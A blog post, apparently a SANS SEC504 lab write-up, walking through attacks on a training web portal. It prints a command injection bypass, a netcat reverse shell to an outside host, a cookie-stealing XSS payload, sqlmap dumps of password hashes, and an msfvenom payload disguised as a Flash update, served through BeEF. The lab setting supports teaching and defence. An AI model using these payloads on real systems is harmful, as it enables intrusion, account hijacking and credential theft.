Post

SEC-504: Web Application Penetration Testing

SEC-504: Web Application Penetration Testing

In the SANS SEC504 course, I targeted the “Falsimentis Customer Support” portal to identify and exploit common web vulnerabilities found in the OWASP Top 10.

Here is the step-by-step methodology I used to compromise the web application.


1. Forced Browsing (Ffuf)

Objective: Discover hidden files and directories on a web server.

I used Ffuf, a fast web fuzzer, to find resources that were not linked from the main page.

Step 1: Fuzzing

I ran Ffuf against the target URL using a standard wordlist.

1
ffuf -w /usr/share/wordlists/common.txt -u http://support.falsimentis.com/FUZZ
  • -w: Path to the wordlist.
  • -u: Target URL, where FUZZ is the placeholder.

Result: Ffuf discovered a hidden /admin directory (returning a 403 Forbidden) and a robots.txt file.

Step 2: Robots.txt Analysis

I manually inspected the robots.txt file.

1
curl http://support.falsimentis.com/robots.txt

Finding: It explicitly disallowed /admin and /singlestatus. This confirmed that /singlestatus was a sensitive endpoint worth investigating.


2. Command Injection

Objective: Execute OS commands through a web interface.

I navigated to the /singlestatus endpoint discovered above. It offered a form to test server connectivity (presumably running ping or fping in the background).

Step 1: Input Validation

I tested the form with normal input (127.0.0.1), which worked. Then I tested with fping -h. Result: The page displayed the help menu for fping, confirming my input was being passed directly to a shell command.

Step 2: Exploitation

I attempted to chain commands using standard shell operators (;, &&, ||). The application filtered ; and &&, but || (execute if previous command fails) worked.

I forced the first command to fail by passing an invalid flag (-z), then appended my command. Payload:

1
-z || id

Result: The page displayed uid=0(root), confirming I had code execution as root.

Step 3: Reverse Shell

I upgraded this access to a full interactive shell using Netcat. Payload:

1
-z || nc 10.10.75.1 4444 -e /bin/sh

Attacker Machine: nc -nlvp 4444 -> Connection Received. I now had a full shell on the web server.


3. Cross-Site Scripting (XSS)

Objective: Inject malicious scripts to attack other users.

I targeted a “Contact SME” form that reflected user input back in a “Thank You” message.

Step 1: Testing for Reflection

I submitted the string Testing<hr> in the Name field. The output displayed the <hr> tag as text, meaning it was sanitized. I submitted Testing<hr> in the Email field. The output rendered a horizontal line. Vulnerability Confirmed.

I crafted a JavaScript payload to steal the session cookie of anyone viewing the page (e.g., an Admin). Payload:

1
<script>document.location="http://10.10.75.1:8080/?" + document.cookie</script>

I started a PHP listener to catch the request: php -S 0.0.0.0:8080.

Step 3: Execution

I submitted the form. When the simulated Admin viewed the request, my listener received a hit: GET /?authtoken=77ba9cd9... I used this stolen cookie to hijack the administrator’s session and access the /admin console.


4. SQL Injection (SQLi)

Objective: Manipulate the backend database to bypass authentication.

I identified a search parameter in the Knowledge Base (/kb?search=) that threw a database error when I submitted a single quote (').

Step 1: Automated Exploitation with Sqlmap

I used sqlmap to dump the database schema.

1
sqlmap -u "http://support.falsimentis.com/kb?search=RAG" --dbs

Result: Found database support.

Step 2: Dumping Tables

I enumerated the tables in the support database.

1
sqlmap -u "http://support.falsimentis.com/kb?search=RAG" -D support --tables

Result: Found table users.

Step 3: Dumping Data

I extracted the contents of the users table.

1
sqlmap -u "http://support.falsimentis.com/kb?search=RAG" -D support -T users --dump

Result: I successfully dumped the usernames and password hashes for all users in the system.


5. BeEF (Browser Exploitation Framework)

Objective: Hook a victim’s browser to execute client-side attacks.

I used the BeEF framework to demonstrate how XSS can be used for advanced persistence in the browser.

Step 1: Creating the Payload

I generated a malicious executable (FlashUpdate.exe) using msfvenom and hosted it on a Python web server.

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.75.1 LPORT=4444 -f exe -o /tmp/FlashUpdate.exe
python3 -m http.server 8000

Step 2: Hooking the Browser

I used an XSS vulnerability (or social engineering) to force the victim to visit a page containing the BeEF hook (<script src="http://attacker:3000/hook.js">). Result: The victim’s browser appeared in my BeEF control panel.

Step 3: Social Engineering Attack

From the BeEF console, I launched the “Fake Flash Update” module against the hooked browser. The victim saw a convincing popup asking them to update Flash. When they clicked “Install,” it downloaded my FlashUpdate.exe payload, giving me a full shell.

This post is licensed under CC BY 4.0 by the author.